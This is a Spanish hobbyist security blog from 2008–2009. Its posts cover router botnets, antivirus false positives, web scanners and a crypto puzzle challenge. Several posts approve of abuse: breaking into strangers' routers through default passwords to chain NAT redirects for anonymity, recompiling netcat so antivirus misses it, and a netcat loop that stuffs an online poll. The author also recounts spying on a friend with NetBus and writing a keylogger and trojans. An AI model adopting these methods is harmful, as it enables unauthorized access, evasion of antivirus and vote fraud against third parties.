Y hoy leo en una-al-dia, un articulo que trata de como una botnet se alimenta de estos cacharros silenciosos que están encendidos las 24 horas y con escasa vigilancia. http://www.hispasec.com/unaaldia/3805/routers-modems-botnets

Estos locos han ido bastante mas lejos y han subido bots compilados para MIPS, la arquitectura de algunos routers, que se conectan a un IRC y reciben malvadas ordenes. Y claro como estos dispositivos suelen estar encendidos las 24 horas del día es el bot perfecto.

Supongo que el malware dependerá mucho del modelo de router que se quiera infectar... Ya no solo de la arquitectura sino del sistema operativo que use, IOS¿?, versión de este... no tengo ni idea.

Vaya infierno, ya uno no se puede fiar ni de su ordenador, ni de su router, ni del teléfono... Pobres personas con escasos conocimientos de informática que quieran solo ver el marca y chatear por internet, están completamente indefensos. Que Dios se apiade de nuestros bytes.

Los antivirus quieren destruir el mundo

2009-03-09T23:12:00.002+01:00

Hace 6 meses el antivirus AVG se cansó de los estúpidos usuarios y se puso como loco a borrar user32.dll. La cantidad de llamadas a la centralita de AVG tuvo que ser importante, un DDoS telefónico.

No es raro que un antivirus en su proceso de mejora detecte un archivo del sistema, seguro que alguno realiza acciones muy sospechosas. Lo raro es que no se probara antes, seguro que tienen un banco de pruebas gigantesco con "Goodware" y hacen una pasada antes de dar como bueno un nuevo algoritmo, regla heurística, firmas o lo que sea. Pero hay tantos programas, tantas dlls, tantas versiones, que al final son habituales estas cosas.

Hoy mismo NOD32 hizo lo propio con winlogon.exe, es lo que tiene la paranoia de los antivirus, es como mi paranoia, TODO es malware y si actualmente no lo es lo será es la siguiente actualización. Te jodes.

Y no es un caso aislado, Panda, Norton, ninguno se salva. Esto es la guerra. Un día te formatean el disco duro si te descuidas.

Lo mejor: no tener antivirus, no creerse eso de que necesitas ejecutar un exe para ver una foto o para ver un video de youtube. Y fiarse de que no usen contra ti un exploit 0-day ¿un antivirus evitaría algo? lo dudo.

Nuestros queridos amigos los routers: Atarascado

2009-01-28T01:16:00.003+01:00

No paran esos tipos, los Tarasco han publicado una nueva versión del FHSCAN, Fast HTTP Vulnerability scanner v1.1.23.

Esta vez incluye una bonita GUI:

Listo para seguir buscando routers con passwords por defecto.

En anteriores episodios comentaba como era posible usar estos routers para redireccionar conexiones y así conseguir anonimato.

La idea es usar NAT. Network Address Translation es lo que usan los routers para poder redirigir conexiones que llegan desde internet al router hacia un ordenador que este conectado a este. Por ejemplo, tienes 2 ordenadores conectados al router y quieres montar en uno de ellos un servidor web, ¿como sabe el router, cuando le llega una petición al puerto 80, a que ordenador de los dos enviársela? Consultando la tabla NAT. La cual se suele configurar a mano.

Y ahí entra en juego una persona maliciosa que va por ahí accediendo a routers indefensos y configurando NAT para que redirija el tráfico que recibe a otra ip pública.

Así es posible que al acceder con el navegador a un router este redirija la conexión a una página web. Quedando registrada en el servidor web de dicha página la dirección IP del router y no la nuestra. Esto se puede hacer con tantos routers encadenados como queramos, viéndose muy poco afectada la velocidad de navegación.

La realidad es que muy pocos routers te dejan hacer esto. La mayoría directamente te pide una ip privada para configurar NAT como es normal, otros te dejan poner la IP que quieras pero después no redireccionan la conexión que les llega desde fuera.

Pero algunos siguen dejando y eso sin entrar en profundidad a configurarlos mediante telnet y sin ni siquiera plantearse el suplantar el firmware por otro modificado maliciosísimamente.

¿Quieres herramientas indetectables? Compílalas!

2009-01-24T19:08:00.003+01:00

Por necesidades de la vida me vi en la necesidad de usar cryptcat. Como buen paranoico que desconfía de todo exe descargado de la interné lo subí a VirusTotal, 21 detecciones, nada raro ya que mas o menos todos los detectan como network/hack tool.

Pero ya puestos que mejor que bajarse el código y compilarlo uno mismo, por supuesto leyendo todo el código para verificar que no haga nada malo... (vale, no lo hice).

Ya sabía que usar distintos compiladores confundía mucho a los antivirus, al fin y al cabo todas las firmas que tengan en sus bases de firmas o ya no existen o han sido desplazadas. Pero no me esperaba que ninguno lo detectase. Ya de paso también compilé el netcat...por si algún día "quiero usarlo en un equipo de mi propiedad que tenga antivirus y no tenga la capacidad de añadir exclusiones". Con el mismo resultado 0 AVs lo detectan.

Resultados de VirusTotal: Netcat original 25/39 Netcat compilado con Visual Studio 2008 0/39

Cryptcat original 21/39 Cryptcat compilado con Visual Studio 2008 0/39

Así de fácil. ¿Para que tener norton o panda instalados? ¿Para que me consuma la mitad de la memoría RAM y parte de la CPU intentando encontrar viejos virus? Vale si, está bien como una capa mas de seguridad. Pero ante un ataque dirigido los antivirus no tienen nada que hacer.

Buen texto sobre análisis de malware

2008-12-02T00:23:00.003+01:00

Aquí hay un buen texto sobre análisis de malware. Mas bien es un recorrido por las herramientas que cualquiera podría usar para ver si un archivo hace algo mas de lo que dice :P La mayoría de esto no serviría de mucho si se usa algún crypter con código que detecte si se está ejecutando sobre una máquina virtual y entonces no lanzase sus malvadas funciones. Algún día me gustaría examinar los códigos que se suelen usar para detectar máquinas virtuales, encontrar algún modo de localizarlos y anularlos para poder seguir con el análisis del malware en un entorno seguro. ¿Y porque me ha dado por mirar esto? Porque en un foro donde participo se postea malware y es habitual que alguno postee malware infectado con malware. Y yo me estoy aficionando a pillar a estos pillos :D Que divertido, ¿no?

Nuestros queridos amigos los routers. La salvación

2008-11-18T00:52:00.002+01:00

En anteriores entregas andaba yo quejandome, que si los routers, que si el fscan...pelándome con la versión 0.6, suplicando que alguien me diera la versión 1.0, intentando entender el código...un infierno.

El señor escucho mis ruegos nocturnos y un día después de aquello la web de los hermanos Tarasco¿? volvió a la luz. Con la versión 1.0 beta 5 del fscan.

Grandes cambios, facilidad para usar la libreria HTTP FScan Core en nuestros programas, mas esquemas, mas passwords, mas de todo.

Una maravilla !!

Gracias señor...señor Tarasco.

Nuestros queridos amigos los routers. Reloaded

2008-11-12T22:14:00.001+01:00

...En anteriores episodios...
Nuestros queridos amigos los routers.

Muy poco a poco he ido ojeando el código del fscan. Es horrible ver códigos que no los has hecho tú de cero, que no sabes el por qué se hacen las cosas y además tan complicados :S

Al final me tope con lo que empecé buscando, el porqué del fallo que me dió. Resulta que sucede que falla con combinaciones "user" + ":" + "pass" mas largas de 27 carácteres:

void *Escanea(void *thread){
   ...
   char password[28]
   ...

Pues fale, aumento el tamaño del buffer y a correr. Ahora el programa pilla el super password de mi router, lo malo es
que le quité el soporte para openSSL y la salida no sale bien ordenada, estaba pensado para 27 carácteres ...Que kaos xDD

El código está muy bien, me gustaría rescribirlo para comprenderlo y poderlo adaptarlo facilmente a otros programas. Quizás algún día me de por automatizar la búsqueda y el redireccionamiento de puertos de estos cacharros...

Pero antes de ponerse a hacer un trabajo tan duro, porque no usar la versión 1.0 de este programa.
¿Que !!? ¿Pero existe la versión 1.0 y nosotros haciendo el tonto con la 0.6?
Pues si y no. Existe la 1.0, juro que un día la use y todo, pero ahora no encuentro la herramienta por ningún lado y en su página no puede descargarse :( Es mas, la caché de google me dá la razón:

2008, March: Fscan HTTP Proxy developed. Improved Fscan core API
2008, February: Fscan v1.0 project and Fscan HTTP Core API published

¿Donde está tarasco? ¿Ya le abdujo una mujer? Vuelve !!!

Lo que si está todavía en su página es el "Fscan HTTP Core API":
http://www.tarasco.org/Web/fscan/index.html

Fscan core
This library is our HTTP/1.1 implementation for developing HTTP security software under win32/linux. Supports multithreading, SSL and native digest/NTLM/basic authentication.

Esto ya es otra cosa, otra cosa que da mucho mas miedo que la anterior :S

Ahora tendré que meditar que hacer: seguir con la 0.6, programarme la mía que funcionará peor pero comprenderé o seguir buscando la 1.0.

¿Y todo esto para que? Pues para el final usar varios routers para hacer saltos de uno a otro y al final acceder a una ip de forma "anónima".

WebGoat y plugin para el firefox del acunetix

2008-11-12T00:37:00.001+01:00

WebGoat es una aplicación Web preparada para descargarla y ejecutarla en tu equipo. Esta diseñada intencionadamente con fallos y dividida en diversas fases que exploran las diferentes vulnerabilidades web que se suelen producir. En total tendrá unos 40 "retos".

No os asustéis, os ayuda a superarlos mediante pistas si sois unos paquetes como yo, incluso hay unas video-soluciones. Me ayudo a comprender en que consistían las inyecciones de CRLF.

Ya puestos me acordé del pluging del acunetix para firefox, ahora ya tiene habilitadas todas las opciones y encontró un XSS en uno de los retos del WebGoat...siempre haciendo trampas:

Corto y cambio.

Como casi soluciono el reto 6 de S21Sec

2008-11-11T02:04:00.001+01:00

Estaba un día revisando blogs y tal cuando me tope que justo acababan de publicar el reto 6 en el blog de S21sec.

Para empezar en el texto del reto no estaba el reto...ya estamos. Lo primero fue ver el código fuente, "seguro que hay alguna pista" y efectivamente, allí hay una frase muy rara:

<!-- Hola, sí, el reto está aquí: Venga, 3,1,2, a ello!!!!: +>>+++++++++++++++++++++++++++++++++[+++< .....

Eso me sonaba a un lenguaje de programación que había visto en alguna parte, buscando por "lenguajes de programación raros" encontré que se llamaba brainfuck y en la wikipedia había un enlace a un compilador/debugger, perfecto.

Seguro que es compilar y listo....NO. Eso no funcionaba, se quedaba pillado :( Así que toco entender un poco brainfuck y ver como había muchísimos bucles sin sentido, cabrones ¿y ahora que? Ganas de matar en aumento.

Un descanso, una ducha y recuerdo eso de "venga 3, 1, 2 a ello", eso era muy raro. ¿Se conmutarán cada 3 instrucciones?

Eran 18.087 instrucciones, umm justo divisible por 3. Así que fui al final y miré las últimas 3. .]< habrá que ordenarlas de modo que hagan algo con sentido, y lo mas lógico es que el programa acabe imprimiendo una letra con el ., así que lo normal es que acabara así: <].

Realice esa conmutación sobre todos los grupos de 3 instrucciones. Ejecute el programa y devolvió una horrenda salida:

Huk pawf, qv tq ohjgpdmmg sd xaiax rwd bmzga. Dsjs wntm hwjuwma rokw vwwee rwkusmgmflw wd nisiawflz fuqzwjg, yex emw qs yiedgfwk ga ocfljsnezws vw vzsowxjsvj. hmqzwlwoebshmfljpgblgtsmrmpsjjsrwidmflgnvqwflamioesuhmfooocetsjmapskusjbaepsjjsmefckwakbuucftsbjggwgftseorokwljzsbiflgrdp Niwfs kpedhw

Ganas de matar ++
Lo ojee un poco traté de aplicar cesar y nada. Además esas líneas intermedias sin espacios entre los caracteres daban bastante miedo.

Tras estar a punto de mandarlo a tomar vientos, me fijo en que seguro que lo último que dice es "Buena suerte"´. Y que si así fuera coincide que el 3 y el 11 carácter que corresponden a la letra w serian la e de Buena suerte. Umm además a una distancia de 8 caracteres, ¿será la clave de longitud 8?

Tras sacar los desplazamientos y pasarlo a caracteres se me queda la clave FAOMIIII y el texto se descifra, bieeeeen.

Muy bien, ya te aproximas al final del juego. Para esta tercera fase debes des- cargarte el siguiente fichero, del que ya dispones la contrasenia de descifrado. hachetetepepuntopuntobarrabarrawwwpuntosveintiunosecpuntocombarradescargasbarra- retoseisguionbajoguionbajofasetrespuntozip Buena suerte.

A descargar el fichero zip, voy a descomprimirle, pongo la clave de descifrado de antes y ZAS password incorrecto. Ganas de matar aumentando mas y mas.

Tras repostar un rato y pensarlo mas detalladamente recordé que vigenere lo había aplicado al revés. Ya que en la aplicación web que use puse el texto cifrado como plano y la clave FAOMIIII, pero debería haberlo hecho al revés!! Y efectivamente la clave real era VAMOSSSS. Fichero descomprimido.

Pero el juego sigue mas y mas, no se cansan!! Abro el fichero y la cabecera dice que es un GIF, pero no lo reconoce ningún programa. Leo un poco el RFC y veo que la longitud es absurda, 10 de alto por ~10000 de ancho. Cree un gif de ese tamaño para comparar la estructura y nada tenia sentido, el gif mío ocupaba muchísimo menos. Hay un hola y adios desconcertantes. Mikel da unas pistas de lo mas extrañas de vivaldi, mozart, bach. Nada tiene sentido.

Las ganas de matar llegan a su limite y abandono hasta nueva idea feliz que nunca llegó.

Hace unos días han publicado la solución en ella, Dani Kachakill y Dreyer & Uri han puesto el solucionarío del reto completo siguiendo unos procedimientos muy correctos y bien explicados.

Lo que me falto fue identificar que ese último fichero no era un GIF sino un archivo WAV :S Nunca lo habría logrado.

Muerte a los retos.

¿Sabias que ?...

2008-11-07T01:06:00.002+01:00

Live Search permite buscar todos los dominios que pertenecen (y tiene indexados) a una determinada IP

También tiene las opciones típicas:

Buscar por tipo del fichero: filetype:doc
Buscar páginas por la localización: loc:IR
Lo típico: intile, inbody, site
Permitía usar inurl y otras cosillas hasta que lo quitaron por ser usado maliciosamente. ¿Y eso les importará realmente?

Extrañamente permite especificar la popularidad, actualidad de la página y el énfasis ¿?

{mtch=foo} Larger number (0-100) places more emphasis on the match between your exact search words and your results. {popl=foo} Greater number (0-100) means more links to the page. {frsh=foo} Greater number (0-100) means more likely updated recently.

Bueno, puede que para lo de la ip y quizás, lo dudo, esto último de la PoPularidad use Live search, para todo lo demás Google.

Para pasar el finde relajadamente

2008-11-01T11:43:00.001+01:00

Unos artículos del argentino Hernán M.Racciatti:
http://www.hernanracciatti.com.ar/articles.html

Revista @arroba
    - Congreso Internacional de Hackers 2005 (Ago.2005)
    - SQL Injection (Ago.2005)
    - Hack Built-in: Metasploit Framework (Sep.2005)
    - Metodologías de Testeo de la Seguridad (Sep.2005)
    - El Futuro de los Penetration Test: 0 days (Oct.2005)
    - Seguridad en Base de Datos (Oct.2005)
    - HTTP Fingerprinting (Nov.2005)
    - Seguridad en Aplicaciones Web (Nov.2005)
    - Hacking Google (Dic.2005)
    - Fuzzers: Una Introducción (Dic.2005)
    - Aprendiendo Seguridad en Forma Práctica (Ene.2006)
    - Hardening Windows: IPFront (Ene.2006)
    - Escuela de Hackers: HHS (Feb.2006)
    - Re-Direccionamiento de Puertos (Feb.2006)
    - Nessus: Una Introducción (Mar.2006)
    - Oracle: (In)rrompible (Mar.2006)
    - Proyecto TOR (Mar.2006)
    - Detección y Evasión (Jun.2006)

Revista NEX IT
    - Testeo de la Seguridad: Una Acción Metodológica
    - Metasploit Framework: Una Introducción
    - Information System Security Assessment (ISSAF)

De 5-20 páginas de agradable lectura. Perfectos para la resaca, ¿no?
Seguro que algo interesante se aprende de todos ellos.

Acunetix Web Vulnerability Scanner 6.0, ahora si amigo !

2008-10-30T01:00:00.002+01:00

Ayer miércoles 29 salió oficialmente la versión 6, como venia sospechando :P

A destacar hay un módulo exclusivo para Blind SQL Injection, permite extraer la base de datos al mas puro estilo absinthe funciona con MySQL y MsSQL.

La condición para detectar la inyección debe ser una cadena que se puede especificar mediante una expresión regular. ¿Quizás debería ser mas flexible?

Hay un apartado para inyecciones a ciegas basadas en tiempo pero parece estar deshabilitado :(

También permite extraer ficheros mediante la inyección y ejecutar una sentencia que le digamos :)

Habrá que probar...

Nuestros queridos amigos los routers

2008-10-28T21:01:00.002+01:00

Los routers al fin y al cabo son miniordenadores, así que en gran medida se puede hacer exactamente lo mismo que con un ordenador.

Lo bonito de los routers es que permiten administrarlos remotamente, bien mediante telnet o una interfaz web. Y si se tiene acceso como administrador a ellos se pueden hacer cosas muy chulas.

Que yo sepa se pueden modificar los DNS que da DHCP de modo que todos los equipos que se conecten a partir de ese momento al router y obtengan la IP por DHCP usarán esos servidores DNS, que por supuesto podrían ser maliciosos. También se puede crear "redirecciones de puertos", NAT o como quiera Dios llamarlo. De este modo se pueden usar para realizar conexiones desde tu equipo al router por un puerto específico y que este las redirija a una dirección IP que le digamos.

Recuerdo que _Q_ de indetectables.net hace años usaba esto para acceder al IRC cuando le baneaban por usar botijos. También Puede ser útil para estas páginas de descarga de archivos que te limitan el ancho de banda por IP. Y también es útil para ocultar nuestra dirección IP, un poco de anonimato nunca está mal, ¿no?

Se puede configurar los routers para que solo puedan ser administrados desde el puerto serial o solo desde la red local, esto únido a una combinación sensata de user:pass hace que sean lo suficientemente seguros.

El problema es que muchos routers vienen con passwords por defecto, root, admin, 1234, etc... Y con la administración remota activada, incluso para IPS externas.

Para encontrar estos cacharros podemos usar nmap o algún otro escaner de puertos, en busca de los puertos 23 y 80. Claro que después tendríamos que acceder para comprobar que es un panel de administración de un router y no un servidor web. Y por último probar los diferentes passwords, algo que podríamos automatizar con Wfuzz o acunetix.

Pero...¿y si juntamos todo esto? Pues Andres Tarasco lo pensó mucho antes y realizó este programa: Fast HTTP Auth Scanner

Unos manuales de uso y referencias: http://www.514.es/2007/07/fast_http_auth_scanner.html http://www.indetectables.net/foro/viewtopic.php?f=8&t=3623 http://elladodelmal.blogspot.com/2007/07/fast-http-auth-scanner-por-tarasco.html

Yo andaba tan feliz aprendiendo a usarlo, añadiendo algunos logins cuando ZAS !!

Le puse una combinación user:pass algo larga :P

...En próximos capítulos... ¿Lograré corregir el fallo? ¿Existe la versión 1.0 de esta herramienta? ¿Y si concatenamos un puñado de routers? ¿Se podría automatizar todo esto para lograr un buen anonimato?

Acunetix Web Vulnerability Scanner 6.0

2008-10-24T00:41:00.011+02:00

Parece que aun no es pública la nueva versión pero ya es accesible desde su página web:

Acunetix Web Vulnerability Scanner 6.0 Manual de la versión 6.0

Sacado este mismo martes , vaya suerte tuve al probar a poner un 6 en vez de un 5 en la descarga :P Incorpora un pluging para firefox que pinta muy bien aunque por el momento tiene casi todo desactivado:

Habrá que leerse el manual para ver que es lo nuevo que han añadido. PD: En serio, no me pagan por hacer publicidad.

Sin complicarse la vida

2008-10-22T21:57:00.007+02:00

Estaba viendo una página de esas donde la gente vota. Esta vez era para seleccionar la ciudad de la cultura de no se que, otras veces es para elegir quien va a eurovision o para decidir si quieres que llueva en la casa del gran hermano y a veces para hacer sondeos "oficiales" de quien va a ganar las elecciones. Esta genial para que la gente se entretenga un rato votando, interactuando con la fabulosa web. Pero si de verdad toman los resultados de esas encuestas como validos vamos mal. La mayoría usan cookies para saber si has votado y dejan dar los votos que quieras desde una misma IP. Podrían dejar solo hacer un voto por IP, pero ¿y una botnet? o usar pseudo-CAPTCHAS, que cada vez son menos efectivos... Quizás usando el DNI electrónico podría asegurarse de que solo una persona realizara un solo voto xD El caso es que quería darle unos cuantos votos a mi ciudad sin complicarme la vida y para ello que mejor que netcat. Guardamos en un fichero la petición que se realiza al dar un voto: Y ya solo queda pasárselo a netcat...con un bucle infinito en super BATCH !!!!

:label more peticion.txt | nc www.candidatecities.com 80 goto label

Si, ale, ya sabéis la web en la que quería votar. Como curiosidad cuando lo he mirado había alguien realizando votos sin parar a Asturias, normal que valla primera :)

Acunetix sigue dando guerra

2008-10-18T19:05:00.002+02:00

Cuando se usa la opción de crawler del acunetix lo primero que hace este es realizar dos peticiones a archivos inexistentes: ¿Querrá ver cuales son las páginas de 404 not found que se muestran en dicho servidor web? Ya que he quitado las otras cabeceras que enviaba habrá que modificar estas peticiones... Con Burp Proxy me ha resultado imposible, no le gusta modificar el GET /acunetix-wvs-test... Lo he intentado con Proxomitron, pero su interfaz me ha asustado bastante :S Así que ya desesperado he probado a buscar esas cadenas en el ejecutable del acunetix y voila ahi están:Modificaría el ejecutable pero es ilegal, así que me limitaré a rezar para que se produzca una corrupción de datos en mi disco duro y se modifiquen esas dos cadenas :)

Mi nuevo romance: Acunetix

2008-10-16T00:23:00.002+02:00

Acunetix Vulnerability Scanner es un programa muy chulo, si.

Permite "rastrear" un sitio web para obtener el árbol de ficheros y directorios.
Busca XSS, [Blind] SQL Injection y demás cosillas.
Sirve de sustituto de Wfuzz, otro programon.
Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc), bruteforce Forms parameters (User/Password), Fuzzing,etc.
Busca archivos de backup (~, bak, old, etc...), escanea un rango en busca de servidores webs, permite definir cookies, secuencias de login, páginas 404 predefinidas ... un monton de detalles.

Si quieres conocerlo mas a fondo o aprender a usarlo: Un manual de fácil lectura Algunos pdfs más de su sitio Si, esta chulo, peeeero en todas las peticiones que realiza envía unas cabeceras muy feas:

Y es que este programa, excepto en la versión para consultores, esta pensado para escanear tu propio sitio web. Entre eso y que uso una versión gratuita, normal que envíe esos "avisitos". No me gustan los avisitos >:( Tengo un trauma infantil con ellos ! Así que probé a mirar el ejecutable del acunetix con un editor hexadecimal a ver si salían las malvadas cadenas sin suerte. Después me acordé de un proxy que me enseñó mi amigo Alex que permitía hacer de TODO con las peticiones HTTP, Burp Proxy. Burp Proxy, otra maravilla :D Tantas opciones abruman... A lo que vamos, este programa permite definir una serie de valores que serán reemplazados en todas las peticiones realizadas, ummm justo lo que queremos con nuestras feas cabeceras. Proxy > Options > Match and replace > Add request header | ^Acunetix.*$ | Le decimos al acunetix que use como ProxyHTTP a este otro programita, 127.0.0.1:8080, y listo. Nuestro problema con las cabeceras queda solucionado por los siglos de los siglos. PD: En la página del Burp Proxy anuncian un libro: The Web Application Hacker's Handbook, tiene la palabra HACKER en el título!!! mamaaaa!!! seguro que es bueniiisimmooo, vamos a comprarle !!! Busquemos en google su precio, ¿que es eso de rapidshare?, ¿una nueva red social?, ¿y esa descarga?, ¿sera un pdf de muestra de lo que contiene el libro original? Veamos...

Cómo fue el comienzo, Episodio II

2008-10-01T22:56:00.000+02:00

Transcurría el tiempo y poco a poco me iba picando eso de los troyanos. Se podían esconder en otros ejecutables, había algunos que se saltaban los firewalls, se podían buscar las firmas que les habían puesto los antivirus para modificarlas y lograr que no lo detectasen. Ahora me suena bastante mal todo esto, aparte de no ser complicado, eran cosas que como último fin tenían conseguir infectar a otra persona para espiarla. Dios nos pille confesados !! Por el foro, que ya iba pasando de dominio en dominio, me encontré un manual de Sr Sombrero que explicaba como crear un troyano básico en delphi. Jur, hacer un troyano estaba ahí, al alcance de cualquiera, así que me puse a leer cosas sobre Pascal/Delphi. Poco a poco fui viendo que no era para tanto, que programar no era algo mágico, que tenía hasta su lógica. Y fui animándome a hacer algunos programas. El primero que recuerdo fue McFake un killer de McAfee que lo sustituía con el objetivo de que el supuesto infectado no se daría cuenta de que su McAfee había sido aniquilado :| Mas tarde entre Sr Sombrero y yo hicimos un keylogger, el IKlogger. Era bonito y tenía opciones curiosas como esa de capturar clicks, que tan mala finalidad se le podía dar :P Debido a la necesidad de agilizar la búsqueda de firmas en los ejecutables detectados por los antivirus, creé Signature Zero. Permitía trabajar mas visualmente que usando un editor hexadecimal. Después me puse a hacer todo tipo de malware :S

RedbindeR: un binder muy completo :P
Apofis: un troyano controlado con un navegador :)
Vodka Downloader: un downloader mas.
KIMS: un multiescaner de antivirus, Escanea un archivo con 22 antivirus en tu ordenador. Salió en los blogs de panda y de hispasec :S

Entre tanto en el foro de indetectables.net prosperó, como no suele ser común, una propuesta para realizar un troyano entre todos. Como en todo este tipo de "proyectos", en lo que mas se tardó fue en elegir el nombre, Coolvibes, como el fundador desaparecido de la página :D. Sorprendentemente la iniciativa siguió adelante y tras unas 40 versiones/actualizaciones ha salido hace un mes de la mano de Unknown la versión 0.5 con inyección dll y un montón de posibilidades que lleva a sus espaldas. Por último a principios de este año realicé junto a Psymera el Sacacorchos, una herramienta para extraer la configuración de los troyanos mas conocidos. El objetivo es que si te intentan infectar o descubres que estan infectado con uno de estos troyanos conocidos poder sacar de forma sencilla la configuración de este (IP a la que se conecta, claves de registro, etc...) Y de ahí hasta hoy no he hecho absolutamente nada, mas que ver porno. Ahora toca hacer el resto de malware que no hice, ¿encriptadores de ejecutables?, ¿técnicas de inyección?, ¿rootkiting?, no se, no se, suena todo muy complicado. Si es que esto de los troyanos al final va a ser algo mas que bajarse un manual sobre como configurar el bifrost, ¿no?

Cómo fue el comienzo, Episodio I

2008-09-28T23:43:00.000+02:00

Todo empezó hace unos 6 años. Un amigo me dijo que tenía un troyano y era fácil usarlo. Se trataba del netbus 1.7. Eso era increíble, ejecutando un programa ("el server") en un ordenador, este quedaba infectado y te podías conectar desde el cliente del netbus y abrirle el cd, EL CD !!! Ver lo que escribía, bajar o subirle archivos, ver su pantalla, control total de su ordenador. Y salió la vena vouyera de unos jovenes en celo, había que usarlo con alguna amiga y saber lo que escribe sobre nosotros..."quizás habla de guarradas con otras amigas o tiene fotos en bolas !!". Es entonces cuando empezamos a buscar en google como evitar que el antivirus eliminara el troyano al enviarselo, como juntar el troyano con un archivo para no levantar sospechas, etc... Entonces encontramos "la página", el título lo decía todo "TROYANOS INDETECTABLES". Se trata de www.troyanos.tk que sorprendentemente aun funciona. Allí había varios manuales que explicaban como modificar un troyano para que el antivirus no lo detectase, los primeros troyanos de conexión inversa, explicaciones detalladas de todo lo relaccionado con los troyanos y muy bien redactado. A parte de la página había un foro de lo mas anárquico donde la gente posteaba nuevos troyanos, los offsets que detectaba un antivirus para cierto troyano, nuevas técnicas, etc... Teníamos información para un buen rato, así que tocaba ir leyendo y probando todas esas cosas. Pasó un año, sería sobre el 2003-2004 cuando Coolvibes, administrador de troyanos.tk, decidió cambiar el foro y creó www.indetectables.tk. Era un foro mas ordenado, como los de hoy en día ,con secciones y tal. Al rato cerró las inscripciones quedándonos dentro unas 200 personas. Y poco a poco eso se fue convirtiendo en una especie de foro privado, con información interesante, herramientas poco conocidas y con gente de mucho nivel (Coolvibes, Sr Sombrero, _Q_, Chakal, incluso el admin de la legendaria web caspa.da.ru). Y sin tener ni idea allí estábamos yo y mi colega, flipando con la de cosas que sabía esa gente. Siguió pasando el tiempo y mi colega fue descolgándose del tema, yo seguí leyendo de vez en cuando ese foro, intentando entender algo de lo que decían y conociendo a unas personas maravillosas. To be continued...

Mas basura para el ciberespacio

2008-09-28T22:59:00.000+02:00

Pues si, otro asqueroso blog donde un gilipollas cuenta su vida creyendo que le importa a alguien. En realidad trataré de contar cosas curiosas que voy encontrando relacionadas con la informática, que si el ratón sirve para mover la flecha de la pantalla...cosas así. Eso no quita que al final se convierta en lo primero y sea un puto asco. Se siente! Bueno bueno, el caso es que inicialmente quería hacerme una página a mi gusto y semejanza ¿?, pero como hoy en día para comprarte un alojamiento/dominio te piden tarjeta de credito, dni, huellas dactilares y toda la polla, desistí y me vine a estos asquerosos blogs. # whoami Humano, 22 vueltas a dado la tierra al sol y sigo vivo, uso el nick (si, esa cosa que se emplea para ocultar tu nombre y que no te peguen por la calle) Thor, me gusta la informática (mas me gustan las mujeres y el alcohol), odio las redes sociales, los emos...en realidad odio demasiadas cosas mejor no enumerarlas. Si quieres conocerme mas a fondo 50€ cobro por un completo.